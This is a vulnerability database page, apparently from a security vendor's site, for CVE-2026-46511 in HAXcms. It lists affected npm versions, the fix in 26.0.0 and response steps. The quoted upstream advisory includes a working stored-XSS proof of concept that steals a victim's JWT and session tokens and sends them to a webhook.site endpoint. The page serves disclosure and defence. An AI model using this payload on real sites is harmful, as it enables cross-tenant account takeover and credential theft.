HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 46511 haxcms mass token exfiltration and cross tenant
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Affiliate program
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
High severityCVE-2026-46511GHSA-X3X5-7H4H-GWXG

HAXcms: Mass Token Exfiltration and Cross-Tenant HijackCVE-2026-46511

Answer in brief

CVE-2026-46511 records a High severity vulnerability in HAXcms: Mass Token Exfiltration and Cross-Tenant Hijack. The current sources do not mark it as known exploited. The current feed maps @haxtheweb/haxcms-nodejs (npm), @haxtheweb/haxcms-nodejs (npm). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published May 19, 2026Updated Sep 10, 2026Source checked Nov 1, 2026First seen by HOL Jun 11, 2026Material review Sep 10, 2026
Upstream Advisory

Key facts

Risk
High
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

A CVSS score is not reported in the current record. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps @haxtheweb/haxcms-nodejs (npm), @haxtheweb/haxcms-nodejs (npm). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
@haxtheweb/haxcms-nodejsnpm<=25.0.026.0.0
@haxtheweb/haxcms-nodejsnpm>=0 <26.0.026.0.0

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for @haxtheweb/haxcms-nodejs, @haxtheweb/haxcms-nodejs.
  2. 2Review the reported fix. Update @haxtheweb/haxcms-nodejs to 26.0.0; @haxtheweb/haxcms-nodejs to 26.0.0 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    May 19, 2026

    Evidence: source:osv:source_dates:source-dates:record
  2. Source modified

    Sep 10, 2026

    Evidence: source:osv:source_dates:source-dates:record
  3. First seen by HOL

    Jun 11, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • GitHub security advisorygithub.com
Upstream source description

### Summary An attack chain utilizing **Stored XSS** alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the `jwt`, `user_token`, `site_token`, and `appstore_token`) into a global JavaScript variable (`window.appSettings`). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook. ### Details In `Operations.php` (`connectionSettings()`), the system returns a Javascript object designed to bootstrap the frontend context. This object, `window.appSettings`, acts as a "skeleton key" because it aggregates all necessary operational tokens for the active session. While HAXcms correctly relies on the cryptographically signed JWT for backend authentication (preventing Direct Object Reference/IDOR attempts), the CMS fails to secure the tokens themselves. Specifically: 1. **The Vector**: The system is vulnerable to Stored XSS (e.g., via injected `iframe` `srcdoc` or `<video-player>`). 2. **The Exposure**: Because the `connectionSettings` endpoint serves the tokens locally based on the active `PHPSESSID` cookie, any malicious script running in the browser context can intercept these keys. 3. **The Chain**: HAXcms isolates user environments by URL path (`/<username>/`). An attacker can use XSS to force the victim's browser to fetch their *target* username's specific settings via `fetch('/<username>/system/api/connectionSettings')`. Since the browser implicitly attaches the victim's session cookie, the server authenticates the request and returns the victim's valid JWT and tokens. ### PoC **1. Setup the Webhook Target** Prepare an external webhook (e.g., `webhook.site`) to receive the stolen data. **2. Inject the "Kill Chain" Payload** As an authenticated attacker (e.g., having edit access to any site), inject the following Javascript via the verified Stored XSS vectors (such as checking the HTML Source of a page and writing an `<iframe>`): ```html <iframe srcdoc="<script> const targetUsername = 'bto108'; // Replace with target victim fetch(`/${targetUsername}/system/api/connectionSettings`) .then(res => res.text()) .then(data => { const s = JSON.parse(data.substring(data.indexOf('{'), data.lastIndexOf('}') + 1)); const uToken = new URL(document.location.origin + s.getUserDataPath).searchParams.get('user_token'); const sToken = new URL(document.location.origin + s.saveNodePath).searchParams.get('site_token'); let aToken = 'N/A'; if (s.appStore && s.appStore.params && s.appStore.params.appstore_token) { aToken = s.appStore.params.appstore_token; } // Exfiltrate via Image Request to bypass CORS const payload = btoa(JSON.stringify({ target: targetUsername, jwt: s.jwt, user_token: uToken, site_token: sToken, appstore_token: aToken })); new Image().src = `https://webhook.site/YOUR-WEBHOOK-ID?data=${payload}`; }); </script>" style="display:none"></iframe> ``` **3. Execution & Verification** - When the victim (e.g., user `bto108`) views the compromised page, their browser automatically fires the `fetch` request, silently attaching their active session cookie. - The server responds with their connection settings. - The script parses their `jwt`, `user_token`, and other keys, encoding them in base64. - The attacker receives the full JWT and token dump on their webhook. *Screenshots confirming the data leakage and webhook capture:* ![Connection Settings Exposure](https://github.com/user-attachments/assets/1aeee4ee-9475-4430-b4d3-3c6254075d11) ![Secondary Settings Leak](https://github.com/user-attachments/assets/7179c1a5-2bfb-4ab6-ba1d-29bcb61a74d3) ![Cross-tenant Exfiltration Console](https://github.com/user-attachments/assets/1abd21ec-fd45-4bd8-ba67-9c0bb19e6b08) ![Webhook Payload Capture](https://github.com/user-attachments/assets/751e5cab-f4ad-4ab4-b276-86bf738f0434) ![Stolen Data Result](https://github.com/user-attachments/assets/a41e15f7-1652-4351-8cc9-a423f6220158) ### Impact **Critical Severity.** This attack completely compromises the primary defense mechanism of the CMS. By stealing the `jwt` and `user_token`, the attacker achieves **total account hijacking** without needing the victim's password. They can emulate the victim perfectly, bypassing standard interface restrictions to perform malicious administrative actions (creating/deleting sites, modifying user access, or uploading malicious content). The reliance on a global Javascript variable (`window.appSettings`) to store long-lived administrative security tokens creates a devastating chokepoint when combined with XSS.

Quoted source text, attributed separately from HOL analysis.

Record context

Vulnerability class
Missing Auth
EPSS
Not reported
CWE IDs
Not reported
Source
GitHub Security Advisories
Source checked
Nov 1, 2026
References
4 linked sources
Open source record